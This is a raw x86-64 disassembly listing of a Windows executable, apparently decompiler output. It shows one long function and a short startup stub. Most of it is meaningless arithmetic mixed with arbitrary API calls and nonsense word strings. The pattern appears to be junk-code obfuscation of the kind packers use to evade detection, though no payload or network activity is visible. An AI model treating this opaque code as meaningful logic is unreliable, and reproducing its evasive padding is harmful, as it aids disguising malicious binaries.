mov rax, qword [rbp + 0x250a8]
mov eax, dword [rax]
mov ecx, eax
call fcn.140003793
jmp 0x14015ae93
lea rax, [rbp + 0x10f0]
mov edx, 0x30
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_CoDisconnectObject]
call rax
mov dword [rbp + 0x1338], eax
mov rax, qword [rbp + 0x25138]
movzx edx, byte [rax]
movzx eax, byte [0x140170318]
add eax, edx
mov byte [rbp + 0x3fc5], al
nop
mov rdx, qword [rbp + 0x1c00]
mov rax, qword [rbp + 0x4ef8]
and rax, rdx
mov qword [rbp + 0x608], rax
mov rax, qword [rbp + 0x250c0]
movzx eax, byte [rax]
mov edx, eax
mov rax, qword [rbp + 0x5308]
movzx eax, byte [rax]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x250c0]
mov byte [rax], dl
movzx eax, word [rbp + 0x2ca]
movzx edx, ax
movzx eax, word [rbp + 0x2c82]
movzx eax, ax
mov ecx, edx
sub ecx, eax
mov rax, qword [rbp + 0x25078]
movzx eax, word [rax]
movzx edx, ax
movzx eax, word [rbp + 0x5160]
movzx eax, ax
sub edx, eax
cmp ecx, edx
je 0x14015af39
movzx eax, word [0x140175044]
mov edx, eax
movzx eax, word [rbp + 0x6e26]
add eax, edx
mov word [rbp + 0x175e], ax
mov rax, qword [rbp + 0x2c68]
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_CoRevokeInitializeSpy]
call rax
mov dword [rbp + 0x2470c], eax
mov rax, qword [rbp + 0x3c40]
movzx ecx, byte [rax]
mov rax, qword [rbp + 0x25198]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x2b68]
add edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x5150]
movzx eax, word [rax]
movzx edx, word [0x14017031a]
sub eax, edx
mov word [rbp + 0x5160], ax
mov rax, qword [rbp + 0x25078]
movzx ecx, word [rax]
mov rax, qword [rbp + 0x5150]
movzx edx, word [rax]
mov rax, qword [0x140175038]
and edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x2a40]
mov rdx, qword [rax]
mov rax, qword [0x140170310]
add rax, rdx
mov qword [rbp + 0x2e80], rax
movzx eax, word [rbp + 0x2ca]
movzx eax, ax
cmp eax, 0xf12
jne 0x14015afe0
mov rax, qword [0x140175038]
movzx ecx, word [rax]
mov rax, qword [rbp + 0x6e50]
movzx edx, word [rax]
mov rax, qword [rbp + 0x5150]
or edx, ecx
mov word [rax], dx
jmp 0x14015afe1
nop
movzx eax, word [rbp + 0x2142]
mov edx, eax
mov rax, qword [rbp + 0x25088]
movzx eax, word [rax]
sub edx, eax
mov rax, qword [rbp + 0x2e48]
mov word [rax], dx
lea rdx, [rbp + 0x5050]
lea rax, [rbp + 0x2a40]
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_CoCopyProxy]
call rax
mov dword [rbp + 0x24754], eax
mov rax, qword [rbp + 0x25088]
movzx ecx, word [rax]
mov rax, qword [rbp + 0x3fa0]
movzx edx, word [rax]
mov rax, qword [rbp + 0x2e48]
xor edx, ecx
mov word [rax], dx
lea rdx, [rbp + 0x4228]
lea rax, [rbp + 0x3fa0]
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_CoAllowSetForegroundWindow]
call rax
mov dword [rbp + 0x165c], eax
movzx eax, byte [rbp + 0x1007]
movzx edx, al
mov rax, qword [rbp + 0x24778]
movzx eax, byte [rax]
movzx eax, al
mov ecx, eax
sar edx, cl
mov eax, edx
mov byte [rbp + 0x3525], al
jmp 0x14015b0a6
mov ecx, dword [rbp + 0x6f78]
mov edx, dword [0x140175040]
mov rax, qword [rbp + 0x4228]
sub ecx, edx
mov dword [rax], ecx
mov rax, qword [sym.imp.ole32.dll_CoUninitialize]
call rax
nop
mov rax, qword [rbp + 0x24778]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x3c40]
movzx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rbp + 0x1007], al
lea r8, [rbp + 0x71f0]
lea rcx, [rbp + 0x719a]
lea rax, [rbp + 0x5050]
lea rdx, [rbp + 0x608]
mov qword [rsp + 0x20], rdx
mov r9, r8
mov r8, rcx
mov edx, 0x72
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_CoGetClassObject]
call rax
mov dword [rbp + 0x24754], eax
mov rax, qword [rbp + 0x5868]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x66e4]
mov rax, qword [rbp + 0x1c70]
and edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x24768]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x25148]
mov rax, qword [rax]
sub rdx, rax
mov qword [0x140175030], rdx
jmp 0x14015b13d
nop
mov rdx, qword [rbp + 0x2e80]
movabs rax, 0xc5a4d770a1f9260
cmp rdx, rax
jne 0x14015b169
mov edx, dword [rbp + 0x361c]
mov eax, dword [rbp + 0x66e4]
add eax, edx
mov dword [rbp + 0x6aa4], eax
jmp 0x14015b16a
nop
mov rax, qword [rbp + 0x24778]
movzx eax, byte [rax]
movzx edx, al
movzx eax, byte [rbp + 0x3fc5]
movzx eax, al
mov ecx, edx
sub ecx, eax
movzx eax, byte [0x140170318]
movzx edx, al
movzx eax, byte [rbp + 0x1007]
movzx eax, al
add eax, edx
cmp ecx, eax
jge 0x14015b1c6
movzx ecx, word [rbp + 0x2c82]
movzx edx, word [rbp + 0x2ca]
mov rax, qword [0x140175038]
add edx, ecx
mov word [rax], dx
mov eax, dword [rbp + 0x6294]
mov ecx, eax
call fcn.140003793
mov rax, qword [rbp + 0x25098]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x2bd0]
add rdx, rax
mov rax, qword [rbp + 0x25098]
mov qword [rax], rdx
lea rdx, [rbp + 0x5150]
lea rax, [rbp + 0x10c0]
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_CoGetObjectContext]
call rax
mov dword [rbp + 0x2475c], eax
mov rax, qword [rbp + 0x5150]
movzx edx, word [rax]
mov rax, qword [rbp + 0x6e50]
movzx eax, word [rax]
and eax, edx
movzx edx, ax
movzx eax, word [0x14017031a]
movzx ecx, ax
mov rax, qword [rbp + 0x25078]
movzx eax, word [rax]
movzx eax, ax
add eax, ecx
cmp edx, eax
jl 0x14015b2c7
mov eax, dword [rbp + 0x6294]
cmp eax, 0x5d33fe1f
jne 0x14015b2a3
movzx ecx, word [rbp + 0x2c82]
movzx edx, word [rbp + 0x2ca]
mov rax, qword [0x140175038]
or edx, ecx
mov word [rax], dx
mov rdx, qword [rbp + 0x2e80]
mov rax, qword [rbp + 0x3cc8]
xor rax, rdx
mov qword [rbp + 0x4398], rax
mov rax, qword [rbp + 0x24760]
mov r8d, dword [rax]
mov rax, qword [rbp + 0x1c70]
mov edx, dword [rax]
mov rax, qword [rbp + 0x5868]
mov ecx, edx
shr r8d, cl
mov edx, r8d
mov dword [rax], edx
jmp 0x14015b2c7
lea rax, [rbp + 0x1a80]
mov rdx, rax
lea rax, str.eyelets_Vixens_thumbscrew_Undress
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_CLSIDFromString]
call rax
mov dword [rbp + 0x165c], eax
nop
movzx eax, word [rbp + 0x2ca]
movzx edx, ax
mov rax, qword [rbp + 0x6e50]
movzx eax, word [rax]
movzx eax, ax
mov ecx, eax
shl edx, cl
mov eax, edx
mov word [rbp + 0x5160], ax
jmp 0x14015b2fd
mov rax, qword [sym.imp.ole32.dll_CoRevokeMallocSpy]
call rax
mov dword [rbp + 0x2475c], eax
nop
mov eax, dword [rbp + 0x4e40]
cmp eax, 0x1abe3d4d
je 0x14015b31a
cmp eax, 0x21bbf9d2
je 0x14015b3e5
jmp 0x14015b3fe
movzx eax, byte [0x140170318]
movzx edx, al
mov rax, qword [rbp + 0x24778]
movzx eax, byte [rax]
movzx eax, al
mov ecx, eax
sar edx, cl
movzx ecx, byte [rbp + 0x1007]
movzx eax, byte [rbp + 0x3fc5]
or eax, ecx
movzx eax, al
cmp edx, eax
jg 0x14015b3c7
mov rax, qword [rbp + 0x3fa0]
movzx eax, word [rax]
movsx edx, ax
mov rax, qword [rbp + 0x25188]
movzx eax, word [rax]
cwde
mov ecx, eax
shl edx, cl
mov eax, edx
mov word [rbp + 0x175e], ax
lea rdx, [rbp + 0x3690]
mov rax, qword [rbp + 0x250e8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileSize]
call rax
mov dword [rbp + 0x1970], eax
mov rax, qword [rbp + 0x5308]
movzx ecx, byte [rax]
movzx edx, byte [rbp + 0x391f]
mov rax, qword [rbp + 0x6a60]
xor edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x6e50]
movzx edx, word [rax]
movzx eax, word [rbp + 0x2c82]
and eax, edx
mov word [rbp + 0x5160], ax
movzx edx, byte [0x140170318]
mov rax, qword [rbp + 0x5f20]
movzx ecx, byte [rax]
mov rax, qword [rbp + 0x3c40]
sub edx, ecx
mov byte [rax], dl
jmp 0x14015b3fe
mov rdx, qword [rbp + 0x1c00]
mov rax, qword [rbp + 0x2bd0]
sub rdx, rax
mov qword [rbp + 0x608], rdx
nop
nop
call fcn.14015baac
mov rax, qword [rbp + 0x250e8]
mov r8d, 1
mov edx, 0x95
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EraseTape]
call rax
mov dword [rbp + 0x361c], eax
mov rax, qword [rbp + 0x25098]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x25148]
mov rax, qword [rax]
mov ecx, eax
shl rdx, cl
mov rax, rdx
mov qword [rbp + 0x560], rax
mov rax, qword [rbp + 0x2a40]
mov rcx, qword [rax]
mov rdx, qword [0x140170310]
mov rax, qword [rbp + 0x2a40]
add rdx, rcx
mov qword [rax], rdx
mov rax, qword [rbp + 0x6a60]
movzx eax, byte [rax]
mov edx, eax
mov rax, qword [rbp + 0x6310]
movzx eax, byte [rax]
sub edx, eax
mov rax, qword [rbp + 0x1618]
mov byte [rax], dl
call fcn.14015baac
jmp 0x14015b4ad
movzx edx, word [rbp + 0x2ca]
mov rax, qword [rbp + 0x6e50]
movzx ecx, word [rax]
mov eax, edx
sub eax, ecx
mov word [rbp + 0x5160], ax
mov edx, dword [0x140170320]
mov rax, qword [rbp + 0x4228]
mov eax, dword [rax]
mov ecx, eax
call fcn.140003f0b
jmp 0x14015b564
mov rax, qword [rbp + 0x25188]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x175e]
sub edx, eax
mov rax, qword [rbp + 0x15b8]
mov word [rax], dx
movzx eax, word [rbp + 0x5160]
movzx eax, ax
cmp eax, 0x9d8
je 0x14015b520
mov rax, qword [rbp + 0x25198]
movzx eax, byte [rax]
movzx edx, al
mov rax, qword [rbp + 0x5f20]
movzx eax, byte [rax]
movzx eax, al
mov ecx, eax
shl edx, cl
mov eax, edx
mov byte [rbp + 0x719a], al
jmp 0x14015b521
nop
lea rax, [rbp + 0x3690]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_lstrlenW]
call rax
mov dword [rbp + 0x2b44], eax
movzx ecx, byte [rbp + 0xe69]
movzx edx, byte [rbp + 0x3529]
mov rax, qword [rbp + 0x1618]
xor edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x4228]
mov eax, dword [rax]
mov ecx, eax
call fcn.140003793
nop
movzx eax, byte [rbp + 0x719a]
movzx eax, al
cmp eax, 0xda
je 0x14015b5b5
cmp eax, 0xfd
jne 0x14015b60f
mov rax, qword [0x140175038]
movzx eax, word [rax]
movzx ecx, word [rbp + 0x5160]
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x25078]
mov word [rax], dx
mov ecx, 0x13
mov rax, qword [sym.imp.KERNEL32.dll_SetUserGeoID]
call rax
mov dword [rbp + 0x24770], eax
jmp 0x14015b5d5
mov rax, qword [rbp + 0x6310]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x391f]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov byte [rbp + 0xe69], al
nop
jmp 0x14015b60f
movzx edx, word [rbp + 0x5160]
movzx ecx, word [rbp + 0x2ca]
mov rax, qword [0x140175038]
sub edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x3fa0]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x175e]
add eax, edx
mov word [rbp + 0x6e26], ax
jmp 0x14015b610
nop
mov rax, qword [rbp + 0x1618]
movzx eax, byte [rax]
movsx eax, al
cmp eax, 0x42
je 0x14015b66f
cmp eax, 0x61
jne 0x14015b68d
mov rdx, qword [rbp + 0x1278]
mov rax, qword [rbp + 0x3cc8]
add rax, rdx
mov qword [rbp + 0x4398], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov qword [rbp + 0x47f8], rax
mov rax, qword [rbp + 0x6a60]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0xe69]
add edx, eax
mov rax, qword [rbp + 0x1618]
mov byte [rax], dl
jmp 0x14015b684
mov edx, dword [rbp + 0x6f78]
mov eax, dword [rbp + 0x10f0]
and eax, edx
mov dword [rbp + 0x2b44], eax
nop
jmp 0x14015b68d
call fcn.14015be39
jmp 0x14015b68e
nop
movzx edx, word [0x14017031a]
movzx eax, word [rbp + 0x2ca]
or eax, edx
mov word [rbp + 0x5160], ax
lea rax, [rbp + 0x66e4]
mov rdx, rax
lea rax, [fcn.140003793]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLogicalProcessorInformation]
call rax
mov dword [rbp + 0x2bf4], eax
mov rax, qword [rbp + 0x6a60]
movzx eax, byte [rax]
movsx edx, al
movzx eax, byte [rbp + 0x391f]
movsx eax, al
mov ecx, eax
sar edx, cl
mov rax, qword [rbp + 0x6a60]
mov byte [rax], dl
jmp 0x14015b78a
mov edx, dword [rbp + 0x5244]
mov eax, dword [rbp + 0x66e4]
add eax, edx
mov dword [rbp + 0x361c], eax
mov rax, qword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
call rax
mov word [rbp + 0x2ca], ax
movzx eax, byte [rbp + 0x3529]
mov edx, eax
movzx eax, byte [rbp + 0xe69]
sub edx, eax
mov rax, qword [rbp + 0x6a60]
mov byte [rax], dl
mov eax, dword [rbp + 0x6aa4]
cmp eax, 0x4f71488
je 0x14015b744
cmp eax, 0x5e392f04
jmp 0x14015b762
mov rax, qword [rbp + 0x15b8]
movzx ecx, word [rax]
movzx edx, word [rbp + 0x175e]
mov rax, qword [rbp + 0x3fa0]
xor edx, ecx
mov word [rax], dx
nop
mov rax, qword [rbp + 0x4398]
mov rdx, qword [rbp + 0x3cc8]
mov ecx, edx
shl rax, cl
mov qword [rbp + 0x1278], rax
mov eax, dword [rbp + 0x6f78]
mov ecx, eax
call fcn.140003793
nop
mov eax, dword [rbp + 0x10f0]
mov ecx, eax
call fcn.140003793
mov edx, dword [rbp + 0x66e4]
mov eax, dword [rbp + 0x5244]
or edx, eax
mov r8d, edx
mov edx, dword [rbp + 0x6aa4]
mov eax, dword [rbp + 0x361c]
mov ecx, eax
shl edx, cl
mov eax, edx
cmp r8d, eax
jae 0x14015b833
movzx eax, byte [rbp + 0x391f]
mov edx, eax
movzx eax, byte [rbp + 0xe69]
add edx, eax
mov rax, qword [rbp + 0x6a60]
mov byte [rax], dl
movzx eax, word [0x14017031a]
movzx eax, ax
cmp eax, 0x77d
je 0x14015b7f4
cmp eax, 0xbc1
je 0x14015b809
jmp 0x14015b833
mov edx, dword [rbp + 0x10f0]
mov eax, dword [rbp + 0x2aa4]
mov ecx, eax
call fcn.140003f0b
jmp 0x14015b833
lea rax, [rbp + 0x3690]
mov r9d, 0x7d
mov r8, rax
mov edx, 0xb9
mov ecx, 0xd9
mov rax, qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
call rax
mov dword [rbp + 0x6f78], eax
nop
mov rax, qword [rbp + 0x2bd0]
movabs rdx, 0x18884c259e05bddc
add rax, rdx
mov qword [rbp + 0x2bd0], rax
mov rax, qword [rbp + 0x3fa0]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x175e]
sub edx, eax
mov rax, qword [rbp + 0x3fa0]
mov word [rax], dx
jmp 0x14015b90e
mov rax, qword [rbp + 0x3fa0]
movzx ecx, word [rax]
movzx edx, word [rbp + 0x175e]
mov rax, qword [rbp + 0x3fa0]
and edx, ecx
mov word [rax], dx
mov rdx, qword [rbp + 0x3cc8]
movabs rax, 0xcf8cafa8e89c76ab
cmp rdx, rax
jne 0x14015b8ac
call fcn.14015bdf7
jmp 0x14015b8ad
nop
mov eax, dword [rbp + 0x6aa4]
add eax, 0x281eb1a9
mov dword [rbp + 0x361c], eax
mov rax, qword [rbp + 0x18f8]
lea rdx, [rbp + 0x3cc8]
mov dword [rsp + 0x20], 0xa1
mov r9, rdx
mov r8d, 0x65
lea rdx, str.Liming_Assemblies_Confederations
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_DrawTextW]
call rax
mov dword [rbp + 0x6f78], eax
movzx eax, word [rbp + 0x175e]
lea edx, [rax + 0x6a24]
mov rax, qword [rbp + 0x3fa0]
mov word [rax], dx
nop
lea rdx, [rbp + 0x3cc8]
lea rax, [rbp + 0xe30]
mov r9d, 0x72
mov r8, rdx
mov rdx, rax
mov ecx, 0xe
mov rax, qword [sym.imp.USER32.dll_CharPrevExA]
call rax
mov qword [rbp + 0x4278], rax
mov rax, qword [rbp + 0x3fa0]
movzx eax, word [rax]
xor ax, 0x7cd7
mov edx, eax
movzx eax, word [rbp + 0x175e]
cmp dx, ax
jl 0x14015b975
mov rax, qword [rbp + 0x5f20]
movzx edx, byte [rax]
movzx ecx, byte [rbp + 0x719a]
mov rax, qword [rbp + 0x3c40]
sub edx, ecx
mov byte [rax], dl
mov eax, dword [rbp + 0x6aa4]
cmp eax, 0x2bf995f5
je 0x14015b98b
cmp eax, 0x4ffa5436
je 0x14015b9a8
jmp 0x14015b9bc
mov rax, qword [0x140170310]
movabs rdx, 0xc62155f6c25d3ac1
add rax, rdx
mov qword [rbp + 0x3cc8], rax
jmp 0x14015b9bc
mov edx, dword [rbp + 0x2aa4]
mov eax, dword [rbp + 0x2aa4]
mov ecx, eax
call fcn.140003f0b
nop
mov rdx, qword [0x140170310]
mov eax, dword [rbp + 0x361c]
mov ecx, eax
call fcn.14015ba84
mov rdx, qword [rbp + 0x5178]
mov rax, qword [rbp + 0xe30]
mov r8d, 0xa9
mov rcx, rax
mov rax, qword [sym.imp.COMCTL32.dll_DrawInsert]
call rax
movzx eax, word [rbp + 0x175e]
and ax, 0x7a4c
mov word [rbp + 0x175e], ax
mov eax, dword [rbp + 0x361c]
cmp eax, 0x1e3133a7
je 0x14015ba16
cmp eax, 0xb3c2c0b0
jmp 0x14015ba37
mov rdx, qword [rbp + 0x4d0]
mov rax, qword [rbp + 0x250d8]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_SetMenu]
call rax
mov dword [rbp + 0x24770], eax
nop
lea rdx, [rbp + 0x175e]
mov rax, qword [rbp + 0x5770]
mov r9d, 0x53
mov r8, rdx
lea rdx, [fcn.14015ba84]
mov rcx, rax
call sub.COMCTL32.dll_SetWindowSubclass
mov dword [rbp + 0x2bf4], eax
mov edx, 0x7f
mov ecx, 0x65
call fcn.140003f0b
mov eax, dword [rbp + 0x4638]
add rsp, 0x25228
pop rbx
pop rsi
pop rdi
pop rbp
ret
push rdi
push rbx
sub rsp, 0x98
call sub.api_ms_win_crt_runtime_l1_1_0.dll___p__wcmdln
xor edx, edx
mov rbx, qword [rax]
test rbx, rbx
jne 0x14015c8f3
jmp 0x14015c970
test ax, ax
je 0x14015c918
and edx, 1
je 0x14015c918
mov edx, 1
add rbx, 2
movzx eax, word [rbx]
cmp ax, 0x20
jbe 0x14015c8e0
mov ecx, edx
xor ecx, 1
cmp ax, 0x22
cmove edx, ecx
jmp 0x14015c8ef
movzx eax, word [rbx + 2]
add rbx, 2
sub eax, 1
cmp ax, 0x1f
jbe 0x14015c910
lea rdx, [rsp + 0x20]
xor eax, eax
mov ecx, 0xd
mov rdi, rdx
rep stosq qword [rdi], rax
mov rcx, rdx
call qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
mov r9d, 0xa
test byte [rsp + 0x5c], 1
je 0x14015c94f
movzx r9d, word [rsp + 0x60]
mov rcx, qword [0x140171a80]
mov r8, rbx
xor edx, edx
add rsp, 0x98
pop rbx
pop rdi
jmp 0x140003fb2
lea rbx, [0x1401716f0]
jmp 0x14015c921